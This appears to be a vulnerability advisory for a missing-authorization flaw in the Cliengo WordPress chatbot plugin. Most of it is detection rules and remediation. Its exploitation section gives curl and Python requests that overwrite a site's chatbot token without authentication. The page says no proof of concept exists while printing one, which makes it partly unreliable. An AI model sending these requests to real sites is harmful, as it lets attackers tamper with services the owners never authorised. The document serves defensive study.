CVE-2024-5992
Executive Summary
CVE-2024-5992 is a missing authorization vulnerability in the Cliengo – Chatbot plugin for WordPress, affecting all versions up to and including 3.0.2. The plugin fails to perform capability checks on the update_chatbot_token and update_chatbot_position AJAX actions, allowing unauthenticated attackers to modify chatbot configuration settings. This can lead to service unavailability, defacement, or injection of malicious chatbot behavior. The vulnerability is classified under CWE-862 (Missing Authorization) and has a CVSS score of 6.5 (Medium). No public exploit code or proof-of-concept is currently available, but the attack surface is exposed to any unauthenticated HTTP request.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Cliengo plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch is available, the supply chain risk is elevated—attackers may target outdated installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
The threat level is Medium due to the low complexity and no authentication requirement. While the impact is limited to integrity and availability of the chatbot, an attacker could disrupt customer-facing chat services or inject malicious scripts.
Deep Dive & Mechanics
The Cliengo plugin registers two AJAX actions for unauthenticated users:
update_chatbot_tokenupdate_chatbot_position
These functions are intended to be called by authenticated administrators, but the plugin fails to include a current_user_can() or wp_nonce check. As a result, any unauthenticated HTTP request can invoke these actions and modify the chatbot’s API token or its position on the page.
Attack Flow:
- Attacker sends a POST request to
/wp-admin/admin-ajax.phpwithaction=update_chatbot_tokenand a new token value. - The plugin updates the token in the WordPress options table without verifying the user’s capabilities.
- The chatbot becomes non-functional or points to a malicious endpoint.
Root Cause: Missing capability check in the callback functions for the AJAX actions.
Vulnerable vs. Patched Code
Vulnerable Code (cliengo.php, lines ~150-180):
add_action('wp_ajax_update_chatbot_token', 'update_chatbot_token_callback');
add_action('wp_ajax_nopriv_update_chatbot_token', 'update_chatbot_token_callback');
function update_chatbot_token_callback() {
$token = sanitize_text_field($_POST['token']);
update_option('cliengo_chatbot_token', $token);
wp_die();
}
Patched Code (hypothetical fix):
add_action('wp_ajax_update_chatbot_token', 'update_chatbot_token_callback');
// Remove the nopriv hook to require authentication
function update_chatbot_token_callback() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
check_ajax_referer('cliengo_nonce', 'nonce');
$token = sanitize_text_field($_POST['token']);
update_option('cliengo_chatbot_token', $token);
wp_die();
}
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker can send a crafted HTTP request to the WordPress admin-ajax endpoint. No authentication is required.
Exploit Request (cURL):
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=update_chatbot_token&token=ATTACKER_CONTROLLED_TOKEN"
Exploit Request (Python):
import requests
url = "https://target.com/wp-admin/admin-ajax.php"
data = {
"action": "update_chatbot_token",
"token": "malicious_token"
}
response = requests.post(url, data=data)
print(response.status_code)
Lab Setup:
- Install WordPress with Cliengo plugin version 3.0.2.
- Ensure the plugin is activated.
- Send the exploit request and observe the chatbot token change in the database.
Blue Team
To detect exploitation attempts, monitor for unusual AJAX requests to admin-ajax.php with the update_chatbot_token or update_chatbot_position actions from unauthenticated sources.
Detection Steps:
- Review web server logs for POST requests to
/wp-admin/admin-ajax.phpwithaction=update_chatbot_token. - Check the
wp_optionstable for unexpected changes tocliengo_chatbot_token. - Implement a Web Application Firewall (WAF) rule to block these actions for unauthenticated users.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=update_chatbot_tokenoraction=update_chatbot_positionfrom IPs not associated with admin users. - Unusual
tokenorpositionparameters in AJAX requests.
- POST requests to
- Host IOCs:
- Modified
cliengo_chatbot_tokenorcliengo_chatbot_positionoptions in the WordPress database. - Unexpected changes to the chatbot’s behavior or appearance on the frontend.
- Modified
- File IOCs:
- No file modifications expected; this is a logic vulnerability.
Detection Engineering
YARA Rule
rule Detect_Cliengo_Unauthorized_Modification {
meta:
description = "Detects unauthorized modification of Cliengo chatbot settings via missing capability check"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5992"
strings:
$ajax_action = "update_chatbot_token" nocase
$ajax_action2 = "update_chatbot_position" nocase
$admin_ajax = "admin-ajax.php" nocase
condition:
any of ($ajax_action*) and $admin_ajax
}
Sigma Rule
title: Unauthenticated Cliengo Chatbot Settings Modification
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated POST requests to WordPress admin-ajax.php with Cliengo update actions
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-query|contains:
- "action=update_chatbot_token"
- "action=update_chatbot_position"
condition: selection
falsepositives:
- Legitimate admin actions (should be authenticated)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5992 - Cliengo Unauthenticated Chatbot Token Update"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=update_chatbot_token"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Cliengo plugin until a patch is released.
- Implement a WAF rule to block unauthenticated requests to
admin-ajax.phpwith the vulnerable actions. - Audit WordPress user roles and ensure no unauthorized users have administrative access.
Long-Term Fix:
- The vendor must add capability checks (
current_user_can('manage_options')) and nonce verification to the AJAX callbacks. - Remove the
wp_ajax_nopriv_hooks for these actions to require authentication.
Workaround:
- Add the following code to the theme’s
functions.phpto block unauthenticated access:
add_action('wp_ajax_nopriv_update_chatbot_token', function() {
wp_die('Unauthorized', 403);
});
add_action('wp_ajax_nopriv_update_chatbot_position', function() {
wp_die('Unauthorized', 403);
});
Valters IT
Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.